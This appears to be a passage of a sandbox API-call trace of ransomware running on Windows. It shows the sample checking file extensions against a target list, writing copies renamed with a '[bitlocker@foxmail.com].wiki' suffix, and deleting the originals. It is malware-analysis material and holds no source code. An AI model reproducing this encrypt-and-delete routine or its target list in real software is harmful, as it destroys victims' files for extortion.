[0051.768] lstrlenW (lpString=".rar") returned 4 [0051.768] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.768] lstrlenW (lpString=".bz2") returned 4 [0051.768] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.768] lstrlenW (lpString=".7z") returned 3 [0051.768] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".dbf") returned 4 [0051.768] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".1cd") returned 4 [0051.768] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0051.768] lstrlenW (lpString=".jpg") returned 4 [0051.769] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.769] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.769] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.769] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=945) returned 1 [0051.769] CloseHandle (hObject=0x204) returned 1 [0051.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0051.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.770] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.770] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.771] GetLastError () returned 0x0 [0051.772] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0051.773] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0051.774] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.774] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.774] SetEndOfFile (hFile=0x18c) returned 1 [0051.774] CloseHandle (hObject=0x18c) returned 1 [0051.775] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.775] SetEndOfFile (hFile=0x204) returned 1 [0051.775] CloseHandle (hObject=0x204) returned 1 [0051.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.776] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0051.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.776] lstrlenW (lpString=".doc") returned 4 [0051.776] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.776] lstrlenW (lpString=".docx") returned 5 [0051.776] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.776] lstrlenW (lpString=".pdf") returned 4 [0051.776] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.776] lstrlenW (lpString=".xls") returned 4 [0051.776] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.776] lstrlenW (lpString=".xlsx") returned 5 [0051.776] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.776] lstrlenW (lpString=".ppt") returned 4 [0051.776] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.776] lstrlenW (lpString=".zip") returned 4 [0051.776] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.776] lstrlenW (lpString=".rar") returned 4 [0051.776] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.776] lstrlenW (lpString=".bz2") returned 4 [0051.776] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.776] lstrlenW (lpString=".7z") returned 3 [0051.776] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.776] lstrlenW (lpString=".dbf") returned 4 [0051.776] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString=".1cd") returned 4 [0051.777] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString=".jpg") returned 4 [0051.777] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString=".doc") returned 4 [0051.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString=".docx") returned 5 [0051.777] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.777] lstrlenW (lpString=".pdf") returned 4 [0051.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".xls") returned 4 [0051.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".xlsx") returned 5 [0051.777] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.777] lstrlenW (lpString=".ppt") returned 4 [0051.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString=".zip") returned 4 [0051.777] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".rar") returned 4 [0051.777] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.777] lstrlenW (lpString=".bz2") returned 4 [0051.777] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.777] lstrlenW (lpString=".7z") returned 3 [0051.777] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.777] lstrlenW (lpString=".dbf") returned 4 [0051.777] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.778] lstrlenW (lpString=".1cd") returned 4 [0051.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0051.778] lstrlenW (lpString=".jpg") returned 4 [0051.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.778] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.778] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.778] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=32607) returned 1 [0051.778] CloseHandle (hObject=0x204) returned 1 [0051.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0051.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.778] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.778] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0051.779] GetLastError () returned 0x0 [0051.779] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0051.781] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0051.782] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.782] WriteFile (in: hFile=0x18c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.782] SetEndOfFile (hFile=0x18c) returned 1 [0051.782] CloseHandle (hObject=0x18c) returned 1 [0051.783] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.783] SetEndOfFile (hFile=0x204) returned 1 [0051.784] CloseHandle (hObject=0x204) returned 1 [0051.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.784] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0051.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.784] lstrlenW (lpString=".doc") returned 4 [0051.784] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString=".docx") returned 5 [0051.785] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.785] lstrlenW (lpString=".pdf") returned 4 [0051.785] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString=".xls") returned 4 [0051.785] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.785] lstrlenW (lpString=".xlsx") returned 5 [0051.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.785] lstrlenW (lpString=".ppt") returned 4 [0051.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString=".zip") returned 4 [0051.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.785] lstrlenW (lpString=".rar") returned 4 [0051.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.785] lstrlenW (lpString=".bz2") returned 4 [0051.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString=".7z") returned 3 [0051.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString=".dbf") returned 4 [0051.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString=".1cd") returned 4 [0051.785] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString=".jpg") returned 4 [0051.785] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.785] lstrlenW (lpString=".doc") returned 4 [0051.785] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString=".docx") returned 5 [0051.785] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.785] lstrlenW (lpString=".pdf") returned 4 [0051.785] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.785] lstrlenW (lpString=".xls") returned 4 [0051.786] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.786] lstrlenW (lpString=".xlsx") returned 5 [0051.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.786] lstrlenW (lpString=".ppt") returned 4 [0051.786] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.786] lstrlenW (lpString=".zip") returned 4 [0051.786] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.786] lstrlenW (lpString=".rar") returned 4 [0051.786] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.786] lstrlenW (lpString=".bz2") returned 4 [0051.786] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.786] lstrlenW (lpString=".7z") returned 3 [0051.786] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.786] lstrlenW (lpString=".dbf") returned 4 [0051.786] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.786] lstrlenW (lpString=".1cd") returned 4 [0051.786] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0051.786] lstrlenW (lpString=".jpg") returned 4 [0051.786] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.786] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.786] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.787] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2044) returned 1 [0051.787] CloseHandle (hObject=0x204) returned 1 [0051.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0051.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.787] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.787] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.469] GetLastError () returned 0x0 [0052.469] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0052.471] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x800, lpOverlapped=0x0) returned 1 [0052.472] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.472] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.472] SetEndOfFile (hFile=0x214) returned 1 [0052.472] CloseHandle (hObject=0x214) returned 1 [0052.472] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.473] SetEndOfFile (hFile=0x204) returned 1 [0052.473] CloseHandle (hObject=0x204) returned 1 [0052.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.473] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString=".doc") returned 4 [0052.474] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.474] lstrlenW (lpString=".docx") returned 5 [0052.474] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.474] lstrlenW (lpString=".pdf") returned 4 [0052.474] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.474] lstrlenW (lpString=".xls") returned 4 [0052.474] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.474] lstrlenW (lpString=".xlsx") returned 5 [0052.474] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.474] lstrlenW (lpString=".ppt") returned 4 [0052.474] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString=".zip") returned 4 [0052.474] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.474] lstrlenW (lpString=".rar") returned 4 [0052.474] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.474] lstrlenW (lpString=".bz2") returned 4 [0052.474] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.474] lstrlenW (lpString=".7z") returned 3 [0052.474] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString=".dbf") returned 4 [0052.474] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString=".1cd") returned 4 [0052.474] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.474] lstrlenW (lpString=".jpg") returned 4 [0052.475] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString=".doc") returned 4 [0052.475] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.475] lstrlenW (lpString=".docx") returned 5 [0052.475] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.475] lstrlenW (lpString=".pdf") returned 4 [0052.475] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.475] lstrlenW (lpString=".xls") returned 4 [0052.475] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.475] lstrlenW (lpString=".xlsx") returned 5 [0052.475] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.475] lstrlenW (lpString=".ppt") returned 4 [0052.475] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString=".zip") returned 4 [0052.475] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.475] lstrlenW (lpString=".rar") returned 4 [0052.475] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 